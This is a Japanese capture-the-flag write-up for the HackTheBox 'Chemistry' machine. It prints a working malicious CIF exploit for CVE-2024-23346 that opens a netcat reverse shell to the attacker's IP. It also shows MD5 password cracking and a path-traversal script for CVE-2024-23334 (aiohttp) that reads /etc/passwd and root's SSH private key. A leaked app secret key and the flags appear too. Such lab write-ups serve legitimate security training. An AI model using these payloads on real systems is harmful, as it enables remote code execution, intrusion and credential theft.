【HackTheBox】Chemistry：Writeup

# 概要

HackTheBox「Chemistry」のWriteupです。

https://app.hackthebox.com/machines/Chemistry

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sVC -T4 -A --min-rate 5000 -p- 10.10.11.38 -oN nmap_result
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Sun, 20 Oct 2024 09:46:55 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Chemistry - Home</title>
|     <link rel="stylesheet" href="/static/styles.css">
|     </head>
|     <body>
|     <div class="container">
|     class="title">Chemistry CIF Analyzer</h1>
|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
|     <div class="buttons">
|     <center><a href="/login" class="btn">Login</a>
|     href="/register" class="btn">Register</a></center>
|     </div>
|     </div>
|     </body>
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|5000|upnp?||

ディレクトリスキャンをします。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.11.38:5000/FUZZ -recursion -recursion-depth 1 -ic -c
                        [Status: 200, Size: 719, Words: 137, Lines: 22, Duration: 392ms]
upload                  [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 336ms]
register                [Status: 200, Size: 931, Words: 226, Lines: 29, Duration: 506ms]
dashboard               [Status: 302, Size: 235, Words: 18, Lines: 6, Duration: 296ms]
login                   [Status: 200, Size: 926, Words: 226, Lines: 29, Duration: 314ms]
logout                  [Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 440ms]
```

アカウント作成後にダッシュボードから`cif`ファイルをアップロードできます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a35ceb92-fa6a-c8a7-4a6c-f35e7926c505.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b2a8f856-661b-a456-9444-b6cf92da4098.png)

CIFファイルでのエクスプロイトを検索すると`CVE-2024-23346`が見つかりました。

https://ethicalhacking.uk/cve-2024-23346-arbitrary-code-execution-in-pymatgen-via-insecure/#gsc.tab=0

https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

RCEのテストでpingを実行すると、成功したことが分かりました。

```exploit.cif
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("ping -c 1 10.10.14.52");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

```
$ sudo tcpdump -i tun0 icmp           
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
07:09:24.983000 IP 10.10.11.38 > 10.10.14.52: ICMP echo request, id 2, seq 1, length 64
07:09:24.983011 IP 10.10.14.52 > 10.10.11.38: ICMP echo reply, id 2, seq 1, length 64
```

リバースシェルを張るペイロードを送信します。

```
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("busybox nc 10.10.14.52 1234 -e sh");0,0,0'
```

Netcatでリッスンしているとシェルを張れました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.52] from (UNKNOWN) [10.10.11.38] 53604
whoami
app
```

TTYの設定をします。

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
app@chemistry:~$
```

`/home/app/app.py`を確認すると`database.db`を使用しています。

```/home/app/app.py
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid

app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
```

`database.db`をダウンロードし、データを確認するとユーザー名とハッシュ化されたパスワードを得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/175fd18f-b2ed-491b-8b55-26d46be9ff90.png)

パスワードはMD5でハッシュ化されているとコードから分かりました。

```/home/app/app.py
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if User.query.filter_by(username=username).first():
            flash('Username already exists.')
            return redirect(url_for('register'))
        hashed_password = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password=hashed_password)
        db.session.add(new_user)
        db.session.commit()
        login_user(new_user)
        return redirect(url_for('dashboard'))
    return render_template('register.html')
```

`rosa`アカウントのハッシュ値を解読でき、パスワードを得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8e5236c9-a912-493a-a576-9bbf064375a6.png)

`rosa`アカウントでSSH接続に成功しました。

```
$ ssh rosa@10.10.11.38
rosa@chemistry:~$
```

`/home/rosa/user.txt`からユーザーフラグを入手できました。

```/home/rosa/user.txt
3a7e11c2f603da99219e7b2fa99618b7
```

# Root Flag

`linpeas`を実行します。

```
$ ./linpeas.sh
```

ローカルの`8080`が動作しているのを確認しました。

```
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1900/bash                    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 
```

フォワーディングの設定をします。

```
$ ssh -L 8000:127.0.0.1:8080 rosa@10.10.11.38
rosa@chemistry:~$
```

実行中のプロセスを確認します。

```
$ ./pspy32
```

`8080`で`/opt/monitoring_site/app.py`のアプリケーションが動作しているようです。

```
2024/10/21 06:14:45 CMD: UID=0     PID=1075   | /usr/bin/python3.9 /opt/monitoring_site/app.py
```

WebアプリケーションからLinux上のサービス稼働状況を確認できるようになっています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/aae01aac-fc3b-a6b0-afcb-52131f035af8.png)

Burpでレスポンスを見ると、`aiohttp/3.9.1`が使用されていると分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1ecacdc5-aa5a-a6b2-512a-1a76e8a22947.png)

`aiohttp/3.9.1`の脆弱性を探すと`CVE-2024-23334`が見つかりました。
静的ファイルのルートパスでパストラバーサルの脆弱性があるようです。

https://nvd.nist.gov/vuln/detail/CVE-2024-23334

攻撃には下記リポジトリのPoCを使用しました。

https://github.com/z3rObyte/CVE-2024-23334-PoC/tree/main

今回のWebアプリケーションの静的ファイは`/assets`なのでコードを編集します。

```exploit.sh
#!/bin/bash

url="http://127.0.0.1:8000" # 編集
string="../"
payload="/assets/" # 編集
file="etc/passwd" # without the first /

for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"
    
    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done
```

エクスプロイトに成功し、`/etc/passwd`ファイルを読み込めました。

```
$ source exploit.sh
[+] Testing with /assets/../etc/passwd
        Status code --> 404
[+] Testing with /assets/../../etc/passwd
        Status code --> 404
[+] Testing with /assets/../../../etc/passwd
        Status code --> 200
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

(省略)
```

ターゲットパスを変更し、rootのSSH秘密鍵を取得できました。

```
$ source exploit.sh
[+] Testing with /assets/../root/.ssh/id_rsa
        Status code --> 404
[+] Testing with /assets/../../root/.ssh/id_rsa
        Status code --> 404
[+] Testing with /assets/../../../root/.ssh/id_rsa
        Status code --> 200
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU

(省略)
```

SSH秘密鍵でrootにログインできました。

```
$ ssh -i id_rsa root@10.10.11.38
root@chemistry:~#
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
c4e05aa496749fe8fb82d998ee91d43c
```